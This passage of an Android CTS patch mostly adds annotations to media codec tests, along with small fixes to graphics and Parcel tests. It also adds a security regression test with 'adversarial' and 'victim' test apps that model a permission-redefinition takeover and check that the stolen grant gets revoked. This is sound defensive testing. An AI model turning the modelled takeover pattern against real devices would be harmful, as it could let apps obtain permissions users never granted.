     public void testOtherVP8SurfQCIF()   { specific(otherVP8(),   176, 144, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9FlexQCIF()   { specific(otherVP9(),   176, 144, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9SurfQCIF()   { specific(otherVP9(),   176, 144, false /* flex */); }
 
     public void testGoogH265Flex480p()   { specific(googH265(),   720, 480, true /* flex */); }
@@ -1513,17 +1645,29 @@
     public void testGoogVP9Flex480p()    { specific(googVP9(),    720, 480, true /* flex */); }
     public void testGoogVP9Surf480p()    { specific(googVP9(),    720, 480, false /* flex */); }
 
+    @NonMediaMainlineTest
     public void testOtherH265Flex480p()  { specific(otherH265(),  720, 480, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH265Surf480p()  { specific(otherH265(),  720, 480, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264Flex480p()  { specific(otherH264(),  720, 480, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264Surf480p()  { specific(otherH264(),  720, 480, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263Flex480p()  { specific(otherH263(),  720, 480, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263Surf480p()  { specific(otherH263(),  720, 480, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4Flex480p() { specific(otherMpeg4(), 720, 480, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4Surf480p() { specific(otherMpeg4(), 720, 480, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8Flex480p()   { specific(otherVP8(),   720, 480, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8Surf480p()   { specific(otherVP8(),   720, 480, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9Flex480p()   { specific(otherVP9(),   720, 480, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9Surf480p()   { specific(otherVP9(),   720, 480, false /* flex */); }
 
     // even though H.263 and MPEG-4 are not defined for 720p or 1080p
@@ -1542,17 +1686,29 @@
     public void testGoogVP9Flex720p()    { specific(googVP9(),    1280, 720, true /* flex */); }
     public void testGoogVP9Surf720p()    { specific(googVP9(),    1280, 720, false /* flex */); }
 
+    @NonMediaMainlineTest
     public void testOtherH265Flex720p()  { specific(otherH265(),  1280, 720, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH265Surf720p()  { specific(otherH265(),  1280, 720, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264Flex720p()  { specific(otherH264(),  1280, 720, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264Surf720p()  { specific(otherH264(),  1280, 720, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263Flex720p()  { specific(otherH263(),  1280, 720, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263Surf720p()  { specific(otherH263(),  1280, 720, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4Flex720p() { specific(otherMpeg4(), 1280, 720, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4Surf720p() { specific(otherMpeg4(), 1280, 720, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8Flex720p()   { specific(otherVP8(),   1280, 720, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8Surf720p()   { specific(otherVP8(),   1280, 720, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9Flex720p()   { specific(otherVP9(),   1280, 720, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9Surf720p()   { specific(otherVP9(),   1280, 720, false /* flex */); }
 
     public void testGoogH265Flex1080p()   { specific(googH265(),   1920, 1080, true /* flex */); }
@@ -1568,17 +1724,29 @@
     public void testGoogVP9Flex1080p()    { specific(googVP9(),    1920, 1080, true /* flex */); }
     public void testGoogVP9Surf1080p()    { specific(googVP9(),    1920, 1080, false /* flex */); }
 
+    @NonMediaMainlineTest
     public void testOtherH265Flex1080p()  { specific(otherH265(),  1920, 1080, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH265Surf1080p()  { specific(otherH265(),  1920, 1080, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264Flex1080p()  { specific(otherH264(),  1920, 1080, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH264Surf1080p()  { specific(otherH264(),  1920, 1080, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263Flex1080p()  { specific(otherH263(),  1920, 1080, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherH263Surf1080p()  { specific(otherH263(),  1920, 1080, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4Flex1080p() { specific(otherMpeg4(), 1920, 1080, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherMpeg4Surf1080p() { specific(otherMpeg4(), 1920, 1080, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8Flex1080p()   { specific(otherVP8(),   1920, 1080, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP8Surf1080p()   { specific(otherVP8(),   1920, 1080, false /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9Flex1080p()   { specific(otherVP9(),   1920, 1080, true /* flex */); }
+    @NonMediaMainlineTest
     public void testOtherVP9Surf1080p()   { specific(otherVP9(),   1920, 1080, false /* flex */); }
 
     public void testGoogH265Flex360pWithIntraRefresh() {
@@ -1601,105 +1769,130 @@
         intraRefresh(googVP8(), 480, 360);
     }
 
+    @NonMediaMainlineTest
     public void testOtherH265Flex360pWithIntraRefresh() {
         intraRefresh(otherH265(), 480, 360);
     }
 
+    @NonMediaMainlineTest
     public void testOtherH264Flex360pWithIntraRefresh() {
         intraRefresh(otherH264(), 480, 360);
     }
 
+    @NonMediaMainlineTest
     public void testOtherH263FlexQCIFWithIntraRefresh() {
         intraRefresh(otherH263(), 176, 120);
     }
 
+    @NonMediaMainlineTest
     public void testOtherMpeg4Flex360pWithIntraRefresh() {
         intraRefresh(otherMpeg4(), 480, 360);
     }
 
+    @NonMediaMainlineTest
     public void testOtherVP8Flex360pWithIntraRefresh() {
         intraRefresh(otherVP8(), 480, 360);
     }
 
     // Tests encoder profiles required by CDD.
     // H264
+    @NonMediaMainlineTest
     public void testH264LowQualitySDSupport()   {
         support(h264(), 320, 240, 20, 384 * 1000);
     }
 
+    @NonMediaMainlineTest
     public void testH264HighQualitySDSupport()   {
         support(h264(), 720, 480, 30, 2 * 1000000);
     }
 
+    @NonMediaMainlineTest
     public void testH264FlexQVGA20fps384kbps()   {
         detailed(h264(), 320, 240, 20, 384 * 1000, true /* flex */);
     }
 
+    @NonMediaMainlineTest
     public void testH264SurfQVGA20fps384kbps()   {
         detailed(h264(), 320, 240, 20, 384 * 1000, false /* flex */);
     }
 
+    @NonMediaMainlineTest
     public void testH264Flex480p30fps2Mbps()   {
         detailed(h264(), 720, 480, 30, 2 * 1000000, true /* flex */);
     }
 
+    @NonMediaMainlineTest
     public void testH264Surf480p30fps2Mbps()   {
         detailed(h264(), 720, 480, 30, 2 * 1000000, false /* flex */);
     }
 
+    @NonMediaMainlineTest
     public void testH264Flex720p30fps4Mbps()   {
         detailed(h264(), 1280, 720, 30, 4 * 1000000, true /* flex */);
     }
 
+    @NonMediaMainlineTest
     public void testH264Surf720p30fps4Mbps()   {
         detailed(h264(), 1280, 720, 30, 4 * 1000000, false /* flex */);
     }
 
+    @NonMediaMainlineTest
     public void testH264Flex1080p30fps10Mbps()   {
         detailed(h264(), 1920, 1080, 30, 10 * 1000000, true /* flex */);
     }
 
+    @NonMediaMainlineTest
     public void testH264Surf1080p30fps10Mbps()   {
         detailed(h264(), 1920, 1080, 30, 10 * 1000000, false /* flex */);
     }
 
     // VP8
+    @NonMediaMainlineTest
     public void testVP8LowQualitySDSupport()   {
         support(vp8(), 320, 180, 30, 800 * 1000);
     }
 
+    @NonMediaMainlineTest
     public void testVP8HighQualitySDSupport()   {
         support(vp8(), 640, 360, 30, 2 * 1000000);
     }
 
+    @NonMediaMainlineTest
     public void testVP8Flex180p30fps800kbps()   {
         detailed(vp8(), 320, 180, 30, 800 * 1000, true /* flex */);
     }
 
+    @NonMediaMainlineTest
     public void testVP8Surf180p30fps800kbps()   {
         detailed(vp8(), 320, 180, 30, 800 * 1000, false /* flex */);
     }
 
+    @NonMediaMainlineTest
     public void testVP8Flex360p30fps2Mbps()   {
         detailed(vp8(), 640, 360, 30, 2 * 1000000, true /* flex */);
     }
 
+    @NonMediaMainlineTest
     public void testVP8Surf360p30fps2Mbps()   {
         detailed(vp8(), 640, 360, 30, 2 * 1000000, false /* flex */);
     }
 
+    @NonMediaMainlineTest
     public void testVP8Flex720p30fps4Mbps()   {
         detailed(vp8(), 1280, 720, 30, 4 * 1000000, true /* flex */);
     }
 
+    @NonMediaMainlineTest
     public void testVP8Surf720p30fps4Mbps()   {
         detailed(vp8(), 1280, 720, 30, 4 * 1000000, false /* flex */);
     }
 
+    @NonMediaMainlineTest
     public void testVP8Flex1080p30fps10Mbps()   {
         detailed(vp8(), 1920, 1080, 30, 10 * 1000000, true /* flex */);
     }
 
+    @NonMediaMainlineTest
     public void testVP8Surf1080p30fps10Mbps()   {
         detailed(vp8(), 1920, 1080, 30, 10 * 1000000, false /* flex */);
     }
diff --git a/tests/tests/media/src/android/media/cts/VirtualizerTest.java b/tests/tests/media/src/android/media/cts/VirtualizerTest.java
index 52b7e7a..175f358 100644
--- a/tests/tests/media/src/android/media/cts/VirtualizerTest.java
+++ b/tests/tests/media/src/android/media/cts/VirtualizerTest.java
@@ -29,6 +29,7 @@
 
 import java.util.Arrays;
 
+@NonMediaMainlineTest
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class VirtualizerTest extends PostProcTestBase {
 
diff --git a/tests/tests/mediastress/src/android/mediastress/cts/MediaRecorderStressTest.java b/tests/tests/mediastress/src/android/mediastress/cts/MediaRecorderStressTest.java
index 17b79d0..0505d8b 100644
--- a/tests/tests/mediastress/src/android/mediastress/cts/MediaRecorderStressTest.java
+++ b/tests/tests/mediastress/src/android/mediastress/cts/MediaRecorderStressTest.java
@@ -36,6 +36,7 @@
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
 
+@NonMediaMainlineTest
 public class MediaRecorderStressTest extends ActivityInstrumentationTestCase2<MediaFrameworkTest> {
 
     private static final String TAG = "MediaRecorderStressTest";
diff --git a/tests/tests/mediastress/src/android/mediastress/cts/NonMediaMainlineTest.java b/tests/tests/mediastress/src/android/mediastress/cts/NonMediaMainlineTest.java
new file mode 100644
index 0000000..29f9131
--- /dev/null
+++ b/tests/tests/mediastress/src/android/mediastress/cts/NonMediaMainlineTest.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediastress.cts;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Annotation for tests that are not related to media mainline.
+ */
+@Retention(RetentionPolicy.RUNTIME)
+@Target({ElementType.METHOD, ElementType.TYPE})
+public @interface NonMediaMainlineTest {
+}
diff --git a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
index 91949db..bf1b582 100644
--- a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
+++ b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
@@ -1592,6 +1592,14 @@
         GL_RGBA8, GL_DEPTH_COMPONENT16, GL_STENCIL_INDEX8, GL_DEPTH24_STENCIL8
     };
     GLuint& fbo = mFramebuffers[mWhich];
+    GLbitfield clear_bits[] = {
+        GL_COLOR_BUFFER_BIT, GL_DEPTH_BUFFER_BIT, GL_STENCIL_BUFFER_BIT,
+        GL_DEPTH_BUFFER_BIT | GL_STENCIL_BUFFER_BIT
+    };
+
+    glClearColor(0.f, 0.f, 0.f, 0.f);
+    glClearDepthf(1.0f);
+    glClearStencil(0);
     glGenFramebuffers(1, &fbo);
     glBindFramebuffer(GL_FRAMEBUFFER, fbo);
     for (int i = 0; i < 4; ++i) {
@@ -1618,7 +1626,8 @@
                 glGenRenderbuffers(1, &renderbuffer);
                 glBindRenderbuffer(GL_RENDERBUFFER, renderbuffer);
                 ASSERT_EQ(GLenum{GL_NO_ERROR}, glGetError());
-                if (GetParam().stride & kGlFormat) {
+                bool isGlFormat = GetParam().stride & kGlFormat;
+                if (isGlFormat) {
                     glRenderbufferStorage(GL_RENDERBUFFER, GetParam().format, width, height);
                 } else {
                     glEGLImageTargetRenderbufferStorageOES(GL_RENDERBUFFER,
@@ -1626,6 +1635,8 @@
                 }
                 glFramebufferRenderbuffer(GL_FRAMEBUFFER, attachment_points[i],
                                           GL_RENDERBUFFER, renderbuffer);
+                if (isGlFormat)
+                    glClear(clear_bits[i]);
                 break;
             }
             case kRenderbuffer: {
@@ -1636,6 +1647,7 @@
                 glRenderbufferStorage(GL_RENDERBUFFER, default_formats[i], width, height);
                 glFramebufferRenderbuffer(GL_FRAMEBUFFER, attachment_points[i],
                                           GL_RENDERBUFFER, renderbuffer);
+                glClear(clear_bits[i]);
                 break;
             }
             default: FAIL() << "Unrecognized binding type";
diff --git a/tests/tests/os/src/android/os/cts/ParcelTest.java b/tests/tests/os/src/android/os/cts/ParcelTest.java
index 68c0a46..0fd3d38 100644
--- a/tests/tests/os/src/android/os/cts/ParcelTest.java
+++ b/tests/tests/os/src/android/os/cts/ParcelTest.java
@@ -3428,4 +3428,34 @@
 
         assertNotNull("Service should have started without crashing.", connection.get());
     }
+
+    public void testObjectResize() throws Exception {
+        Parcel p;
+        IBinder b1 = new Binder();
+        IBinder b2 = new Binder();
+
+        p = Parcel.obtain();
+        p.writeStrongBinder(b1);
+        p.setDataSize(0);
+        p.writeStrongBinder(b2);
+
+        p.setDataPosition(0);
+        assertEquals("Object in parcel should match the binder written after the resize", b2,
+                p.readStrongBinder());
+        p.recycle();
+
+        p = Parcel.obtain();
+        p.writeStrongBinder(b1);
+        final int secondBinderPos = p.dataPosition();
+        p.writeStrongBinder(b1);
+        p.setDataSize(secondBinderPos);
+        p.writeStrongBinder(b2);
+
+        p.setDataPosition(0);
+        assertEquals("Object at the start of the parcel parcel should match the first binder", b1,
+                p.readStrongBinder());
+        assertEquals("Object in parcel should match the binder written after the resize", b2,
+                p.readStrongBinder());
+        p.recycle();
+    }
 }
diff --git a/tests/tests/permission/AndroidTest.xml b/tests/tests/permission/AndroidTest.xml
index c4ee088..481a026 100644
--- a/tests/tests/permission/AndroidTest.xml
+++ b/tests/tests/permission/AndroidTest.xml
@@ -50,12 +50,22 @@
         <option name="push" value="CtsAppWithSharedUidThatRequestsLocationPermission28.apk->/data/local/tmp/cts/permissions/CtsAppWithSharedUidThatRequestsLocationPermission28.apk" />
         <option name="push" value="CtsAppWithSharedUidThatRequestsLocationPermission29.apk->/data/local/tmp/cts/permissions/CtsAppWithSharedUidThatRequestsLocationPermission29.apk" />
         <option name="push" value="CtsAppThatRequestsCalendarContactsBodySensorCustomPermission.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsCalendarContactsBodySensorCustomPermission.apk" />
+        <option name="push" value="CtsAdversarialPermissionUserApp.apk->/data/local/tmp/cts/permissions/CtsAdversarialPermissionUserApp.apk" />
+        <option name="push" value="CtsAdversarialPermissionDefinerApp.apk->/data/local/tmp/cts/permissions/CtsAdversarialPermissionDefinerApp.apk" />
+        <option name="push" value="CtsVictimPermissionDefinerApp.apk->/data/local/tmp/cts/permissions/CtsVictimPermissionDefinerApp.apk" />
+        <option name="push" value="CtsRuntimePermissionDefinerApp.apk->/data/local/tmp/cts/permissions/CtsRuntimePermissionDefinerApp.apk" />
+        <option name="push" value="CtsRuntimePermissionUserApp.apk->/data/local/tmp/cts/permissions/CtsRuntimePermissionUserApp.apk" />
     </target_preparer>
 
     <!-- Remove additional apps if installed -->
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="teardown-command" value="pm uninstall android.permission.cts.appthatrequestpermission" />
         <option name="teardown-command" value="pm uninstall android.permission.cts.appthatrequestnopermission" />
+        <option name="teardown-command" value="pm uninstall android.permission.cts.revokepermissionwhenremoved.AdversarialPermissionDefinerApp" />
+        <option name="teardown-command" value="pm uninstall android.permission.cts.revokepermissionwhenremoved.VictimPermissionDefinerApp" />
+        <option name="teardown-command" value="pm uninstall android.permission.cts.revokepermissionwhenremoved.userapp" />
+        <option name="teardown-command" value="pm uninstall android.permission.cts.revokepermissionwhenremoved.runtimepermissiondefinerapp" />
+        <option name="teardown-command" value="pm uninstall android.permission.cts.revokepermissionwhenremoved.runtimepermissionuserapp" />
     </target_preparer>
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java b/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java
new file mode 100644
index 0000000..050002a
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java
@@ -0,0 +1,138 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts;
+
+import static android.content.pm.PackageInfo.REQUESTED_PERMISSION_GRANTED;
+import static android.content.pm.PackageManager.GET_PERMISSIONS;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.platform.test.annotations.SecurityTest;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.Before;
+import org.junit.Test;
+
+public class RemovePermissionTest {
+    private static final String APP_PKG_NAME = "android.permission.cts.revokepermissionwhenremoved";
+    private static final String USER_PKG_NAME =
+            "android.permission.cts.revokepermissionwhenremoved.userapp";
+    private static final String TEST_PERMISSION =
+            "android.permission.cts.revokepermissionwhenremoved.TestPermission";
+    private static final String RUNTIME_PERMISSION_USER_PKG_NAME =
+            "android.permission.cts.revokepermissionwhenremoved.runtimepermissionuserapp";
+    private static final String RUNTIME_PERMISSION_DEFINER_PKG_NAME =
+            "android.permission.cts.revokepermissionwhenremoved.runtimepermissiondefinerapp";
+    private static final String TEST_RUNTIME_PERMISSION =
+            "android.permission.cts.revokepermissionwhenremoved.TestRuntimePermission";
+
+    private Context mContext;
+    private Instrumentation mInstrumentation;
+    private Object mMySync = new Object();
+
+    @Before
+    public void setContextAndInstrumentation() {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+    }
+
+    @Before
+    public void wakeUpScreen() {
+        SystemUtil.runShellCommand("input keyevent KEYCODE_WAKEUP");
+    }
+
+    private boolean permissionGranted(String pkgName, String permName)
+            throws PackageManager.NameNotFoundException {
+        PackageInfo appInfo = mContext.getPackageManager().getPackageInfo(pkgName,
+                GET_PERMISSIONS);
+
+        for (int i = 0; i < appInfo.requestedPermissions.length; i++) {
+            if (appInfo.requestedPermissions[i].equals(permName)
+                    && ((appInfo.requestedPermissionsFlags[i] & REQUESTED_PERMISSION_GRANTED)
+                    != 0)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    private void installApp(String apk) throws InterruptedException {
+        String installResult = SystemUtil.runShellCommand(
+                "pm install -r -d data/local/tmp/cts/permissions/" + apk + ".apk");
+        synchronized (mMySync) {
+            mMySync.wait(10000);
+        }
+        assertEquals("Success", installResult.trim());
+    }
+
+    private void uninstallApp(String pkg) throws InterruptedException {
+        String uninstallResult = SystemUtil.runShellCommand(
+                "pm uninstall " + pkg);
+        synchronized (mMySync) {
+            mMySync.wait(10000);
+        }
+        assertEquals("Success", uninstallResult.trim());
+    }
+
+    private void grantPermission(String pkg, String permission) {
+        mInstrumentation.getUiAutomation().grantRuntimePermission(
+                pkg, permission);
+    }
+
+    @SecurityTest
+    @Test
+    public void permissionShouldBeRevokedIfRemoved() throws Throwable {
+        installApp("CtsAdversarialPermissionDefinerApp");
+        installApp("CtsAdversarialPermissionUserApp");
+
+        grantPermission(USER_PKG_NAME, TEST_PERMISSION);
+        assertTrue(permissionGranted(USER_PKG_NAME, TEST_PERMISSION));
+
+        // Uninstall app which defines a permission with the same name as in victim app.
+        // Install the victim app.
+        uninstallApp(APP_PKG_NAME + ".AdversarialPermissionDefinerApp");
+        installApp("CtsVictimPermissionDefinerApp");
+        assertFalse(permissionGranted(USER_PKG_NAME, TEST_PERMISSION));
+        uninstallApp(APP_PKG_NAME + ".userapp");
+        uninstallApp(APP_PKG_NAME + ".VictimPermissionDefinerApp");
+    }
+
+    @Test
+    public void permissionShouldRemainGrantedAfterAppUpdate() throws Throwable {
+        installApp("CtsRuntimePermissionDefinerApp");
+        installApp("CtsRuntimePermissionUserApp");
+
+        grantPermission(RUNTIME_PERMISSION_USER_PKG_NAME, TEST_RUNTIME_PERMISSION);
+        assertTrue(permissionGranted(RUNTIME_PERMISSION_USER_PKG_NAME, TEST_RUNTIME_PERMISSION));
+
+        // Install app which defines a permission. This is similar to update the app
+        // operation
+        installApp("CtsRuntimePermissionDefinerApp");
+        assertTrue(permissionGranted(RUNTIME_PERMISSION_USER_PKG_NAME, TEST_RUNTIME_PERMISSION));
+        uninstallApp(RUNTIME_PERMISSION_USER_PKG_NAME);
+        uninstallApp(RUNTIME_PERMISSION_DEFINER_PKG_NAME);
+    }
+}
diff --git a/tests/tests/permission/src/android/permission/cts/SplitPermissionsSystemTest.java b/tests/tests/permission/src/android/permission/cts/SplitPermissionsSystemTest.java
index 4670928..c15b7a4 100755
--- a/tests/tests/permission/src/android/permission/cts/SplitPermissionsSystemTest.java
+++ b/tests/tests/permission/src/android/permission/cts/SplitPermissionsSystemTest.java
@@ -19,6 +19,7 @@
 import static android.Manifest.permission.ACCESS_BACKGROUND_LOCATION;
 import static android.Manifest.permission.ACCESS_COARSE_LOCATION;
 import static android.Manifest.permission.ACCESS_FINE_LOCATION;
+import static android.Manifest.permission.ACCESS_MEDIA_LOCATION;
 import static android.Manifest.permission.READ_CALL_LOG;
 import static android.Manifest.permission.READ_CONTACTS;
 import static android.Manifest.permission.READ_EXTERNAL_STORAGE;
@@ -104,6 +105,13 @@
                 case ACCESS_COARSE_LOCATION:
                     assertSplit(split, ACCESS_BACKGROUND_LOCATION, Build.VERSION_CODES.Q);
                     break;
+                case READ_EXTERNAL_STORAGE:
+                    assertSplit(split, ACCESS_MEDIA_LOCATION, Build.VERSION_CODES.Q);
+                    // Remove this split permission from seenSplits, ACCESS_MEDIA_LOCATION is not
+                    // always available hence removing this permission from seenSplits will
+                    // avoid seenSplits size check fail.
+                    seenSplits.remove(split);
+                    break;
             }
         }
 
diff --git a/tests/tests/permission/testapps/Android.mk b/tests/tests/permission/testapps/Android.mk
new file mode 100644
index 0000000..1d314d2
--- /dev/null
+++ b/tests/tests/permission/testapps/Android.mk
@@ -0,0 +1,17 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.mk b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.mk
new file mode 100644
index 0000000..b012b43
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.mk
@@ -0,0 +1,30 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_SDK_VERSION := current
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
+LOCAL_PACKAGE_NAME := CtsAdversarialPermissionDefinerApp
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/AndroidManifest.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/AndroidManifest.xml
new file mode 100644
index 0000000..d28fba8
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.revokepermissionwhenremoved.AdversarialPermissionDefinerApp">
+
+    <permission android:name="android.permission.cts.revokepermissionwhenremoved.TestPermission"
+        android:protectionLevel="dangerous"
+        android:label="TestPermission"
+        android:description="@string/test_permission" />
+
+    <application>
+    </application>
+</manifest>
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/res/values/strings.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/res/values/strings.xml
new file mode 100644
index 0000000..bfb3e1e
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="test_permission">Test Permission</string>
+</resources>
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.mk b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.mk
new file mode 100644
index 0000000..49a2e2b
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.mk
@@ -0,0 +1,29 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_SDK_VERSION := current
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
+LOCAL_PACKAGE_NAME := CtsAdversarialPermissionUserApp
+
